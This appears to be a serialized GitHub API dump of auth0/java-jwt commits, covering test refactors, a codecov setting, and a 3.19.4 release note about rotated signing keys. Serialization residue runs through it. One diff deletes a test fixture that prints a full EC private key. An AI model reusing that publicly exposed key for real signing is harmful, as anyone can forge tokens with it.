-        ClaimsHolder holder = holderFor("aud", "auth0");
+        PayloadClaimsHolder holder = holderFor("aud", "auth0");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -52,7 +51,7 @@ public void shouldSerializeStringAudienceAsString() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -61,7 +60,7 @@ public void shouldSerializeSingleItemAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
+        PayloadClaimsHolder holder = holderFor("aud", new String[]{"auth0", "auth10"});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -70,7 +69,7 @@ public void shouldSerializeMultipleItemsAudienceAsArray() throws Exception {
 
     @Test
     public void shouldSkipSerializationOnEmptyAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new String[0]);
+        PayloadClaimsHolder holder = holderFor("aud", new String[0]);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -79,7 +78,7 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
 
     @Test
     public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -88,7 +87,7 @@ public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception
 
     @Test
     public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -97,7 +96,7 @@ public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Except
 
     @Test
     public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        PayloadClaimsHolder holder = holderFor("aud", new ArrayList<>());
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -106,7 +105,7 @@ public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        PayloadClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -115,7 +114,7 @@ public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception
 
     @Test
     public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
-        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        PayloadClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -124,7 +123,7 @@ public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
 
     @Test
     public void shouldSkipNonStringsOnAudience() throws Exception {
-        ClaimsHolder holder = holderFor("aud", 4);
+        PayloadClaimsHolder holder = holderFor("aud", 4);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -133,7 +132,7 @@ public void shouldSkipNonStringsOnAudience() throws Exception {
 
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("nbf", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("nbf", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -142,7 +141,7 @@ public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("iat", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("iat", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -151,7 +150,7 @@ public void shouldSerializeIssuedAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("exp", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("exp", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -160,7 +159,7 @@ public void shouldSerializeExpiresAtDateInSeconds() throws Exception {
 
     @Test
     public void shouldSerializeCustomDateInSeconds() throws Exception {
-        ClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
+        PayloadClaimsHolder holder = holderFor("birthdate", new Date(1478874000));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -171,7 +170,7 @@ public void shouldSerializeCustomDateInSeconds() throws Exception {
     public void shouldSerializeDatesUsingLong() throws Exception {
         long secs = Integer.MAX_VALUE + 10000L;
         Date date = new Date(secs * 1000L);
-        Map<String, Object> claims = new HashMap<String, Object>();
+        Map<String, Object> claims = new HashMap<>();
         claims.put("iat", date);
         claims.put("nbf", date);
         claims.put("exp", date);
@@ -187,7 +186,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
         nestedInList.add(Collections.singletonMap("nested", date));
         claims.put("nestedInList", nestedInList);
 
-        ClaimsHolder holder = new ClaimsHolder(claims);
+        PayloadClaimsHolder holder = new PayloadClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -206,7 +205,7 @@ public void shouldSerializeDatesUsingLong() throws Exception {
 
     @Test
     public void shouldSerializeStrings() throws Exception {
-        ClaimsHolder holder = holderFor("name", "Auth0 Inc");
+        PayloadClaimsHolder holder = holderFor("name", "Auth0 Inc");
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -215,7 +214,7 @@ public void shouldSerializeStrings() throws Exception {
 
     @Test
     public void shouldSerializeIntegers() throws Exception {
-        ClaimsHolder holder = holderFor("number", 12345);
+        PayloadClaimsHolder holder = holderFor("number", 12345);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -224,7 +223,7 @@ public void shouldSerializeIntegers() throws Exception {
 
     @Test
     public void shouldSerializeDoubles() throws Exception {
-        ClaimsHolder holder = holderFor("fraction", 23.45);
+        PayloadClaimsHolder holder = holderFor("fraction", 23.45);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -233,7 +232,7 @@ public void shouldSerializeDoubles() throws Exception {
 
     @Test
     public void shouldSerializeBooleans() throws Exception {
-        ClaimsHolder holder = holderFor("pro", true);
+        PayloadClaimsHolder holder = holderFor("pro", true);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -242,7 +241,7 @@ public void shouldSerializeBooleans() throws Exception {
 
     @Test
     public void shouldSerializeNulls() throws Exception {
-        ClaimsHolder holder = holderFor("id", null);
+        PayloadClaimsHolder holder = holderFor("id", null);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -253,7 +252,7 @@ public void shouldSerializeNulls() throws Exception {
     public void shouldSerializeCustomArrayOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
+        PayloadClaimsHolder holder = holderFor("users", new UserPojo[]{user1, user2});
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -264,7 +263,7 @@ public void shouldSerializeCustomArrayOfObject() throws Exception {
     public void shouldSerializeCustomListOfObject() throws Exception {
         UserPojo user1 = new UserPojo("Michael", 1);
         UserPojo user2 = new UserPojo("Lucas", 2);
-        ClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
+        PayloadClaimsHolder holder = holderFor("users", Arrays.asList(user1, user2));
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
@@ -274,18 +273,17 @@ public void shouldSerializeCustomListOfObject() throws Exception {
     @Test
     public void shouldSerializeCustomObject() throws Exception {
         UserPojo user = new UserPojo("Michael", 1);
-        ClaimsHolder holder = holderFor("users", user);
+        PayloadClaimsHolder holder = holderFor("users", user);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         assertThat(writer.toString(), is(equalTo("{\"users\":{\"name\":\"Michael\",\"id\":1}}")));
     }
 
-    @SuppressWarnings("Convert2Diamond")
-    private ClaimsHolder holderFor(String key, Object value) {
-        Map<String, Object> map = new HashMap<String, Object>();
+    private PayloadClaimsHolder holderFor(String key, Object value) {
+        Map<String, Object> map = new HashMap<>();
         map.put(key, value);
-        return new ClaimsHolder(map);
+        return new PayloadClaimsHolder(map);
     }
 
 }
\ No newline at end of fileu-      }(j7  (77d573bc09ed60e1bcbf803ac3f8d4807fac4e87j7  9lib/src/test/java/com/auth0/jwt/interfaces/ClaimTest.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaimTest.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -71,12 +71,12 @@ public Date asDate() {
         }
 
         @Override
-        public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+        public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 
         @Override
-        public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+        public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
             return null;
         }
 u}(j7  (43038c8e8aeaf5896b697e176e13f62325f02d1dj7  -lib/src/test/resources/ec256k-key-private.pemj7  removedj7  K j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemj 8  https://github.com/auth0/java-jwt/raw/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pemj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-private.pem?ref=4e22222b2495817673e35fc28cd2697effd1230bj8  X!  @@ -1,5 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIGEAgEAMBAGByqGSM49AgEGBSuBBAAKBG0wawIBAQQgN78SHuwC8BVLUbuEBXC9
-sn9LuX9a7yqIt1xaiPupqe6hRANCAAS7s8bnSsGqrv7YBqxqJiQKiyPJvcHTe2UG
-7FpOaAlqIUWL5xbpCZbcH9yqozS55KMVxG78KskeuET7hl01J6EU
------END PRIVATE KEY-----
\ No newline at end of fileu}(j7  (8809e21b0cb10683bf3ea51553cb631af16d4a03j7  4lib/src/test/resources/ec256k-key-public-invalid.pemj7  removedj7  K j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemj 8  https://github.com/auth0/java-jwt/raw/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pemj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public-invalid.pem?ref=4e22222b2495817673e35fc28cd2697effd1230bj8  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEXzvxXn69y0I54+Yr0pMXqGyCb1R8D4dS
-xaYhaRuN2fsV+unbFWUYViRoYUgMAbmvnXzVmThLUeP/PTmlv9lm7Q==
------END PUBLIC KEY-----
\ No newline at end of fileu}(j7  (1513ed7005c34f927e6636482fb9aa0235e33c45j7  ,lib/src/test/resources/ec256k-key-public.pemj7  removedj7  K j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemj 8  https://github.com/auth0/java-jwt/raw/4e22222b2495817673e35fc28cd2697effd1230b/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pemj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fresources%2Fec256k-key-public.pem?ref=4e22222b2495817673e35fc28cd2697effd1230bj8  @@ -1,4 +0,0 @@
------BEGIN PUBLIC KEY-----
-MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEu7PG50rBqq7+2AasaiYkCosjyb3B03tl
-BuxaTmgJaiFFi+cW6QmW3B/cqqM0ueSjFcRu/CrJHrhE+4ZdNSehFA==
------END PUBLIC KEY-----
\ No newline at end of fileueu(8ad09b854815bcb3fb34e7b2acdbc4e59112899a}(sha(8ad09b854815bcb3fb34e7b2acdbc4e59112899anode_idEC_kwDOAQtL0doAKDhhZDA5Yjg1NDgxNWJjYjNmYjM0ZTdiMmFjZGJjNGU1OTExMjg5OWEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-11T13:34:09Zu	committer}(j9  
Poovamraj T Tj9  poovamraj@gmail.comj9  2022-04-11T13:34:09Zumessage"Reenabled changes check in codecovtree}(j9  (28b8deb479fc6db7e1b4f2e974753e48633470e9url^https://api.github.com/repos/auth0/java-jwt/git/trees/28b8deb479fc6db7e1b4f2e974753e48633470e9uj9  `https://api.github.com/repos/auth0/java-jwt/git/commits/8ad09b854815bcb3fb34e7b2acdbc4e59112899a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj9  \https://api.github.com/repos/auth0/java-jwt/commits/8ad09b854815bcb3fb34e7b2acdbc4e59112899ahtml_urlQhttps://github.com/auth0/java-jwt/commit/8ad09b854815bcb3fb34e7b2acdbc4e59112899acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8ad09b854815bcb3fb34e7b2acdbc4e59112899a/commentsj9  }(login	poovamrajidJ j9  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j9  &https://api.github.com/users/poovamrajj9  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj9  }(j9  	poovamrajj9  J j9  MDQ6VXNlcjE1OTEwNDI1j9  4https://avatars.githubusercontent.com/u/15910425?v=4j9  h3j9  &https://api.github.com/users/poovamrajj9  https://github.com/poovamrajj9  0https://api.github.com/users/poovamraj/followersj9  =https://api.github.com/users/poovamraj/following{/other_user}j9  6https://api.github.com/users/poovamraj/gists{/gist_id}j9  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j9  4https://api.github.com/users/poovamraj/subscriptionsj9  +https://api.github.com/users/poovamraj/orgsj :  ,https://api.github.com/users/poovamraj/reposj:  7https://api.github.com/users/poovamraj/events{/privacy}j:  6https://api.github.com/users/poovamraj/received_eventsj:  Userj:  uparents]}(j9  (22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7j9  \https://api.github.com/repos/auth0/java-jwt/commits/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7j9  Qhttps://github.com/auth0/java-jwt/commit/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7uastats}(totalK	additionsK	deletionsKufiles]}(j9  (51f857afa30dbbe1732e0c84f576d14c57ad81d9filename.codecov.ymlstatusmodifiedj":  Kj#:  KchangesKblob_url\https://github.com/auth0/java-jwt/blob/8ad09b854815bcb3fb34e7b2acdbc4e59112899a/.codecov.ymlraw_url[https://github.com/auth0/java-jwt/raw/8ad09b854815bcb3fb34e7b2acdbc4e59112899a/.codecov.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/.codecov.yml?ref=8ad09b854815bcb3fb34e7b2acdbc4e59112899apatch@@ -7,7 +7,7 @@ coverage:
       default:
         if_no_uploads: success
         if_ci_failed: error
-    changes: false
+    changes: true
     project:
       default:
         target: autouau(ebece3fb820eacdfc9791e41be294f880ed56a6b}(sha(ebece3fb820eacdfc9791e41be294f880ed56a6bnode_idEC_kwDOAQtL0doAKGViZWNlM2ZiODIwZWFjZGZjOTc5MWU0MWJlMjk0Zjg4MGVkNTZhNmIcommit}(author}(nameAndre Mermegasemailamermegas@fxcm.comdate2022-03-14T17:20:54Zu	committer}(j?:  Andre MermegasjA:  amermegas@fxcm.comjC:  2022-03-14T17:20:54Zumessageforgot to remove printlnstree}(j7:  (2d4b9d82b57ecb3f7a77ff08269ca078818ca7c3url^https://api.github.com/repos/auth0/java-jwt/git/trees/2d4b9d82b57ecb3f7a77ff08269ca078818ca7c3ujO:  `https://api.github.com/repos/auth0/java-jwt/git/commits/ebece3fb820eacdfc9791e41be294f880ed56a6b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujO:  \https://api.github.com/repos/auth0/java-jwt/commits/ebece3fb820eacdfc9791e41be294f880ed56a6bhtml_urlQhttps://github.com/auth0/java-jwt/commit/ebece3fb820eacdfc9791e41be294f880ed56a6bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ebece3fb820eacdfc9791e41be294f880ed56a6b/commentsj=:  }(login
andre-fxcmidJd}ij9:  MDQ6VXNlcjc0MDIyMjQ0
avatar_url4https://avatars.githubusercontent.com/u/74022244?v=4gravatar_idh3jO:  'https://api.github.com/users/andre-fxcmj[:  https://github.com/andre-fxcm
followers_url1https://api.github.com/users/andre-fxcm/followers
following_url>https://api.github.com/users/andre-fxcm/following{/other_user}	gists_url7https://api.github.com/users/andre-fxcm/gists{/gist_id}starred_url>https://api.github.com/users/andre-fxcm/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/andre-fxcm/subscriptionsorganizations_url,https://api.github.com/users/andre-fxcm/orgs	repos_url-https://api.github.com/users/andre-fxcm/repos
events_url8https://api.github.com/users/andre-fxcm/events{/privacy}received_events_url7https://api.github.com/users/andre-fxcm/received_eventstypeUser
site_adminujE:  }(j`:  
andre-fxcmjb:  Jd}ij9:  MDQ6VXNlcjc0MDIyMjQ0jd:  4https://avatars.githubusercontent.com/u/74022244?v=4jf:  h3jO:  'https://api.github.com/users/andre-fxcmj[:  https://github.com/andre-fxcmji:  1https://api.github.com/users/andre-fxcm/followersjk:  >https://api.github.com/users/andre-fxcm/following{/other_user}jm:  7https://api.github.com/users/andre-fxcm/gists{/gist_id}jo:  >https://api.github.com/users/andre-fxcm/starred{/owner}{/repo}jq:  5https://api.github.com/users/andre-fxcm/subscriptionsjs:  ,https://api.github.com/users/andre-fxcm/orgsju:  -https://api.github.com/users/andre-fxcm/reposjw:  8https://api.github.com/users/andre-fxcm/events{/privacy}jy:  7https://api.github.com/users/andre-fxcm/received_eventsj{:  Userj}:  uparents]}(j7:  (274566f67c5a273a626076c49aa5cd770f87e168jO:  \https://api.github.com/repos/auth0/java-jwt/commits/274566f67c5a273a626076c49aa5cd770f87e168j[:  Qhttps://github.com/auth0/java-jwt/commit/274566f67c5a273a626076c49aa5cd770f87e168uastats}(totalK	additionsK 	deletionsKufiles]}(j7:  (0f47200e70eaa5458c2064174014d46b3eb9ae51filename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj:  K j:  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/ebece3fb820eacdfc9791e41be294f880ed56a6b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/ebece3fb820eacdfc9791e41be294f880ed56a6b/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=ebece3fb820eacdfc9791e41be294f880ed56a6bpatchX  @@ -34,9 +34,7 @@ public class JWTCreatorTest {
     @Test
     public void shouldReturnSameDateWithMilliAccuracy() {
         long date = 1647277221778L;
-        System.out.println(date);
         Date in = new Date(date);
-        System.out.println(in);
         String token = JWTCreator.init()
                                .withClaim("aDate", in)
                                .sign(Algorithm.HMAC256("secret"));uau(c4f4f090ee237582b345db6e85c20b978939cb72}(sha(c4f4f090ee237582b345db6e85c20b978939cb72node_idEC_kwDOAQtL0doAKGM0ZjRmMDkwZWUyMzc1ODJiMzQ1ZGI2ZTg1YzIwYjk3ODkzOWNiNzIcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-01-11T16:50:03Zu	committer}(j:  GitHubj:  noreply@github.comj:  2023-01-11T16:50:03ZumessageRelease 3.19.4 (#651)tree}(j:  (bddd643697165e5593b958f3ec38285f99f0730aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/bddd643697165e5593b958f3ec38285f99f0730auj:  `https://api.github.com/repos/auth0/java-jwt/git/commits/c4f4f090ee237582b345db6e85c20b978939cb72
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjvui7CRBK7hj4Ov3rIwAALfAIAA5xbK25/qMa50XoGRvcLSF5
O1/TAM9q1yYlctl8Fa9BSE4kd16z+BRXR6cBEjjM0aHf3J+3Gr78R3+nJOzHaWXp
uSnVCO0K0AEDfIX8J9t7sLggG9ziHs6Lq+FtNsbpwKrMWWI5p0l6ydEKrd6OBKEz
Gi/b2xbW+YgUSMGtedr5V5IwDEe3iuvC7JYjY0QA/W8MeKp818pJPN4h4bveGVgf
EKJZpNxaUAaiaHXhh4ONdVGbH4aW3gs9UGaFVVhAUNobaxLkK23Q7nwNcZ1KARQC
sU6dXw0WgpIQGA6AR5Av5XQbhxTnVbEI7odcqwFtWl7HHH5NS0kYZUMrAn9jrPw=
=8Ehx
-----END PGP SIGNATURE-----
payloadtree bddd643697165e5593b958f3ec38285f99f0730a
parent 3f5df48e012cae624a0d77ed0cda61aad6b5d9e6
author Jim Anderson <jim.anderson@auth0.com> 1673455803 -0600
committer GitHub <noreply@github.com> 1673455803 -0600

Release 3.19.4 (#651)

uuj:  \https://api.github.com/repos/auth0/java-jwt/commits/c4f4f090ee237582b345db6e85c20b978939cb72html_urlQhttps://github.com/auth0/java-jwt/commit/c4f4f090ee237582b345db6e85c20b978939cb72comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c4f4f090ee237582b345db6e85c20b978939cb72/commentsj:  }(login
jimmyjamesidJ7 j:  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j:  'https://api.github.com/users/jimmyjamesj:  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj:  }(j:  web-flowj:  J/j:  MDQ6VXNlcjE5ODY0NDQ3j:  4https://avatars.githubusercontent.com/u/19864447?v=4j:  h3j:  %https://api.github.com/users/web-flowj:  https://github.com/web-flowj:  /https://api.github.com/users/web-flow/followersj:  <https://api.github.com/users/web-flow/following{/other_user}j:  5https://api.github.com/users/web-flow/gists{/gist_id}j:  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j:  3https://api.github.com/users/web-flow/subscriptionsj:  *https://api.github.com/users/web-flow/orgsj:  +https://api.github.com/users/web-flow/reposj:  6https://api.github.com/users/web-flow/events{/privacy}j:  5https://api.github.com/users/web-flow/received_eventsj:  Userj:  uparents]}(j:  (3f5df48e012cae624a0d77ed0cda61aad6b5d9e6j:  \https://api.github.com/repos/auth0/java-jwt/commits/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6j:  Qhttps://github.com/auth0/java-jwt/commit/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6uastats}(totalK	additionsK	deletionsKufiles](}(j:  (f22b8da7ff2d670310d00c0189a856723355ff2dfilenameCHANGELOG.mdstatusmodifiedj;  Kj;  K changesKblob_url\https://github.com/auth0/java-jwt/blob/c4f4f090ee237582b345db6e85c20b978939cb72/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/c4f4f090ee237582b345db6e85c20b978939cb72/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=c4f4f090ee237582b345db6e85c20b978939cb72patchXx  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.4](https://github.com/auth0/java-jwt/tree/3.19.4) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.3...3.19.4) 
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/v3/README.md)
+
 ## [3.19.3](https://github.com/auth0/java-jwt/tree/3.19.3) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...3.19.3)
 u}(j:  (6f0593516b855a2944288ec7873fa7c529666bf8j;  	README.mdj;  modifiedj;  Kj;  Kj;  K
j;  Yhttps://github.com/auth0/java-jwt/blob/c4f4f090ee237582b345db6e85c20b978939cb72/README.mdj;  Xhttps://github.com/auth0/java-jwt/raw/c4f4f090ee237582b345db6e85c20b978939cb72/README.mdj;  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=c4f4f090ee237582b345db6e85c20b978939cb72j;  XP  @@ -7,6 +7,12 @@
 [![License](https://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org)
 [![Javadoc](https://javadoc.io/badge2/com.auth0/java-jwt/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+> 
+> While this change won’t affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can’t be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
+
 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
 > :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
@@ -25,14 +31,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.3</version>
+    <version>3.19.4</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.3'
+implementation 'com.auth0:java-jwt:3.19.4'
 ```
 
 ## Available Algorithmsueu(56e663c3b5830e0329160f2165043aff89f8d3bb}(sha(56e663c3b5830e0329160f2165043aff89f8d3bbnode_idEC_kwDOAQtL0doAKDU2ZTY2M2MzYjU4MzBlMDMyOTE2MGYyMTY1MDQzYWZmODlmOGQzYmIcommit}(author}(name
Jeff Allenemail1103958546+trestletech-dd@users.noreply.github.comdate2022-10-26T21:03:25Zu	committer}(j3;  GitHubj5;  noreply@github.comj7;  2022-10-26T21:03:25Zumessage8Fix the spelling of the dependency name in README (#638)tree}(j+;  (15efe4aadfe28e5baf883113195d12f5f61b4b84url^https://api.github.com/repos/auth0/java-jwt/git/trees/15efe4aadfe28e5baf883113195d12f5f61b4b84ujC;  `https://api.github.com/repos/auth0/java-jwt/git/commits/56e663c3b5830e0329160f2165043aff89f8d3bb
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjWaCdCRBK7hj4Ov3rIwAAygIIAG0TzvDg3/x9XwJTBgiA67RY
